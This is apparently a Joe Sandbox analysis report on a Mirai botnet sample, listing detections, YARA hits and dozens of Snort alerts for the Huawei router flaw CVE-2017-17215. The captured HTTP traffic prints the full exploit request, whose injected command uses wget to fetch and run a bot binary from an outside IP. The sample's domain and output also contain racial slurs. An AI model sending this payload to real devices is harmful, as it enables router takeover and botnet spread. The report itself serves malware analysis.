Edit tour

Linux Analysis Report
eOKWFR38tO.elf

Overview

General Information

Sample Name:	eOKWFR38tO.elf
Analysis ID:	805497
MD5:	1833f25145ca5092876933d95f824179
SHA1:	f7ad3f0857f46fb63414c2abc3a8c1595ce8bfc3
SHA256:	56984dad2d0dd7f951b67521c5266568afc4bafde0c7bd531f52e1ea21cd3d8a
Tags:	32elfmiraipowerpc
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Sample has stripped symbol table

HTTP GET or POST without a user agent

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	805497
Start date and time:	2023-02-12 19:11:19 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	eOKWFR38tO.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/409@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: dogeatingchink.uno

Runtime Messages

Command:	/tmp/eOKWFR38tO.elf
PID:	6232
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

eOKWFR38tO.elf (PID: 6232, Parent: 6125, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/eOKWFR38tO.elf

eOKWFR38tO.elf New Fork (PID: 6234, Parent: 6232)

eOKWFR38tO.elf New Fork (PID: 6236, Parent: 6234)

eOKWFR38tO.elf New Fork (PID: 6237, Parent: 6234)

eOKWFR38tO.elf New Fork (PID: 6239, Parent: 6234)

eOKWFR38tO.elf New Fork (PID: 6241, Parent: 6234)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
eOKWFR38tO.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xcf3c:$x2: /bin/busybox chmod 777 * /tmp/ 0xcfd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.00007fc034001000.00007fc03400f000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xcf3c:$x2: /bin/busybox chmod 777 * /tmp/ 0xcfd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.141.209

Timestamp:	192.168.2.23197.197.141.20938188372152835222 02/12/23-19:13:32.473953
SID:	2835222
Source Port:	38188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.84.16

Timestamp:	192.168.2.2341.0.84.1653052372152835222 02/12/23-19:13:59.931243
SID:	2835222
Source Port:	53052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.142.201

Timestamp:	192.168.2.23197.194.142.20135122372152835222 02/12/23-19:13:24.278198
SID:	2835222
Source Port:	35122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.29.41

Timestamp:	192.168.2.23197.193.29.4156524372152835222 02/12/23-19:12:59.619769
SID:	2835222
Source Port:	56524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.102.177

Timestamp:	192.168.2.2341.153.102.17752800372152835222 02/12/23-19:12:32.493802
SID:	2835222
Source Port:	52800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.254.137

Timestamp:	192.168.2.23197.194.254.13756064372152835222 02/12/23-19:12:56.528781
SID:	2835222
Source Port:	56064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.157.142

Timestamp:	192.168.2.2341.153.157.14253138372152835222 02/12/23-19:13:46.987499
SID:	2835222
Source Port:	53138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.229.116

Timestamp:	192.168.2.23197.195.229.11637524372152835222 02/12/23-19:13:55.473108
SID:	2835222
Source Port:	37524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 95.86.92.247

Timestamp:	192.168.2.2395.86.92.24743168372152835222 02/12/23-19:12:10.167833
SID:	2835222
Source Port:	43168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.251.62

Timestamp:	192.168.2.23197.192.251.6252040372152835222 02/12/23-19:13:41.878523
SID:	2835222
Source Port:	52040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.92.142

Timestamp:	192.168.2.23197.195.92.14236774372152835222 02/12/23-19:12:35.739200
SID:	2835222
Source Port:	36774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.72.194.193

Timestamp:	192.168.2.2337.72.194.19346462372152835222 02/12/23-19:13:53.381135
SID:	2835222
Source Port:	46462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.106.252

Timestamp:	192.168.2.23197.195.106.25258432372152835222 02/12/23-19:12:52.400484
SID:	2835222
Source Port:	58432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.85.200

Timestamp:	192.168.2.2341.152.85.20041360372152835222 02/12/23-19:13:07.057745
SID:	2835222
Source Port:	41360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 95.86.119.35

Timestamp:	192.168.2.2395.86.119.3550654372152835222 02/12/23-19:14:07.681968
SID:	2835222
Source Port:	50654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.245.46

Timestamp:	192.168.2.23197.194.245.4645458372152835222 02/12/23-19:14:06.354515
SID:	2835222
Source Port:	45458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.189.145

Timestamp:	192.168.2.2341.153.189.14552146372152835222 02/12/23-19:13:12.282624
SID:	2835222
Source Port:	52146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.74.6

Timestamp:	192.168.2.2341.47.74.635682372152835222 02/12/23-19:14:03.191139
SID:	2835222
Source Port:	35682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.90.44

Timestamp:	192.168.2.23197.199.90.4460332372152835222 02/12/23-19:12:44.085058
SID:	2835222
Source Port:	60332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.31.151

Timestamp:	192.168.2.23197.197.31.15160246372152835222 02/12/23-19:12:46.193751
SID:	2835222
Source Port:	60246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.220.255

Timestamp:	192.168.2.23197.194.220.25536770372152835222 02/12/23-19:13:09.144794
SID:	2835222
Source Port:	36770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.139.192

Timestamp:	192.168.2.2341.237.139.19235700372152835222 02/12/23-19:13:55.502974
SID:	2835222
Source Port:	35700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.251.141

Timestamp:	192.168.2.23197.199.251.14141274372152835222 02/12/23-19:14:03.163097
SID:	2835222
Source Port:	41274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.179.243

Timestamp:	192.168.2.23197.193.179.24335390372152835222 02/12/23-19:13:47.048295
SID:	2835222
Source Port:	35390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.197.113

Timestamp:	192.168.2.2331.136.197.11348846372152835222 02/12/23-19:13:55.503036
SID:	2835222
Source Port:	48846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.42.99

Timestamp:	192.168.2.23197.195.42.9932990372152835222 02/12/23-19:13:23.188031
SID:	2835222
Source Port:	32990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.187.155

Timestamp:	192.168.2.23197.193.187.15557006372152835222 02/12/23-19:13:20.085767
SID:	2835222
Source Port:	57006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.200.197

Timestamp:	192.168.2.23197.192.200.19735920372152835222 02/12/23-19:13:57.619653
SID:	2835222
Source Port:	35920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.143.134

Timestamp:	192.168.2.23197.196.143.13434118372152835222 02/12/23-19:13:27.364802
SID:	2835222
Source Port:	34118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.25.202

Timestamp:	192.168.2.23197.194.25.20233770372152835222 02/12/23-19:13:55.533519
SID:	2835222
Source Port:	33770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.213.82

Timestamp:	192.168.2.2341.153.213.8234334372152835222 02/12/23-19:12:59.716297
SID:	2835222
Source Port:	34334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.148.1

Timestamp:	192.168.2.23197.196.148.135978372152835222 02/12/23-19:14:06.283289
SID:	2835222
Source Port:	35978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 91.239.149.115

Timestamp:	192.168.2.2391.239.149.11543194372152835222 02/12/23-19:13:07.016664
SID:	2835222
Source Port:	43194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.122.98

Timestamp:	192.168.2.2341.153.122.9833322372152835222 02/12/23-19:14:03.158887
SID:	2835222
Source Port:	33322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.103.178

Timestamp:	192.168.2.23197.195.103.17856416372152835222 02/12/23-19:12:49.314533
SID:	2835222
Source Port:	56416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.3.70

Timestamp:	192.168.2.2331.136.3.7056760372152835222 02/12/23-19:12:52.429510
SID:	2835222
Source Port:	56760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.130.68

Timestamp:	192.168.2.23156.198.130.6834512372152835222 02/12/23-19:12:46.200042
SID:	2835222
Source Port:	34512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.18.114

Timestamp:	192.168.2.23197.197.18.11445076372152835222 02/12/23-19:13:04.910317
SID:	2835222
Source Port:	45076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.129.17

Timestamp:	192.168.2.23197.197.129.1752660372152835222 02/12/23-19:13:59.988068
SID:	2835222
Source Port:	52660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.13.227

Timestamp:	192.168.2.23197.199.13.22758318372152835222 02/12/23-19:12:41.942531
SID:	2835222
Source Port:	58318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.157.164

Timestamp:	192.168.2.23197.196.157.16442346372152835222 02/12/23-19:13:53.341276
SID:	2835222
Source Port:	42346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.201.21.74

Timestamp:	192.168.2.23154.201.21.7452180372152835222 02/12/23-19:13:33.760020
SID:	2835222
Source Port:	52180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.206.175

Timestamp:	192.168.2.23197.196.206.17549620372152835222 02/12/23-19:13:04.891032
SID:	2835222
Source Port:	49620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.137.70

Timestamp:	192.168.2.2341.153.137.7060850372152835222 02/12/23-19:13:16.983088
SID:	2835222
Source Port:	60850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.35.143

Timestamp:	192.168.2.23197.197.35.14334266372152835222 02/12/23-19:12:46.186340
SID:	2835222
Source Port:	34266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.134.134

Timestamp:	192.168.2.2341.153.134.13445352372152835222 02/12/23-19:13:57.618567
SID:	2835222
Source Port:	45352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.5.100

Timestamp:	192.168.2.23197.195.5.10051450372152835222 02/12/23-19:12:09.086217
SID:	2835222
Source Port:	51450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.139.235

Timestamp:	192.168.2.23197.197.139.23534352372152835222 02/12/23-19:13:09.145564
SID:	2835222
Source Port:	34352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.88.173

Timestamp:	192.168.2.23197.199.88.17340880372152835222 02/12/23-19:13:12.517774
SID:	2835222
Source Port:	40880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.65.53

Timestamp:	192.168.2.2341.153.65.5339702372152835222 02/12/23-19:13:14.751141
SID:	2835222
Source Port:	39702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.126.99

Timestamp:	192.168.2.23197.192.126.9936070372152835222 02/12/23-19:13:12.666265
SID:	2835222
Source Port:	36070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.96.233

Timestamp:	192.168.2.23197.192.96.23346514372152835222 02/12/23-19:13:02.814165
SID:	2835222
Source Port:	46514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.15.63

Timestamp:	192.168.2.2341.233.15.6339838372152835222 02/12/23-19:12:39.857212
SID:	2835222
Source Port:	39838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.245.151

Timestamp:	192.168.2.23197.199.245.15142474372152835222 02/12/23-19:12:59.614643
SID:	2835222
Source Port:	42474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 212.3.204.193

Timestamp:	192.168.2.23212.3.204.19352996372152835222 02/12/23-19:12:59.659472
SID:	2835222
Source Port:	52996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.178.14

Timestamp:	192.168.2.23197.194.178.1444774372152835222 02/12/23-19:13:09.201975
SID:	2835222
Source Port:	44774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.193.241.208

Timestamp:	192.168.2.2341.193.241.20835390372152835222 02/12/23-19:12:39.801881
SID:	2835222
Source Port:	35390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.181.56

Timestamp:	192.168.2.23197.192.181.5647668372152835222 02/12/23-19:12:32.467169
SID:	2835222
Source Port:	47668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.215.63

Timestamp:	192.168.2.23197.193.215.6353150372152835222 02/12/23-19:12:44.025213
SID:	2835222
Source Port:	53150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.204.1

Timestamp:	192.168.2.23197.196.204.138644372152835222 02/12/23-19:13:50.209295
SID:	2835222
Source Port:	38644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.249.139

Timestamp:	192.168.2.23197.195.249.13941942372152835222 02/12/23-19:12:09.084798
SID:	2835222
Source Port:	41942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.8.170

Timestamp:	192.168.2.2341.232.8.17054074372152835222 02/12/23-19:13:55.503286
SID:	2835222
Source Port:	54074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.40.131

Timestamp:	192.168.2.23197.194.40.13135460372152835222 02/12/23-19:13:50.147294
SID:	2835222
Source Port:	35460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.179.134

Timestamp:	192.168.2.23197.192.179.13449734372152835222 02/12/23-19:14:07.432649
SID:	2835222
Source Port:	49734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 36 36 2e 32 33 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 66 75 78 69 20 2d 72 20 2f 6e 61 62 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 66 75 78 69 3b 20 2f 74 6d 70 2f 66 75 78 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /nabmips; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: eOKWFR38tO.elf	ReversingLabs: Detection: 46%
Source: eOKWFR38tO.elf	Virustotal: Detection: 37%			Perma Link

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41942 -> 197.195.249.139:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51450 -> 197.195.5.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43168 -> 95.86.92.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47668 -> 197.192.181.56:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52800 -> 41.153.102.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36774 -> 197.195.92.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35390 -> 41.193.241.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39838 -> 41.233.15.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58318 -> 197.199.13.227:37215
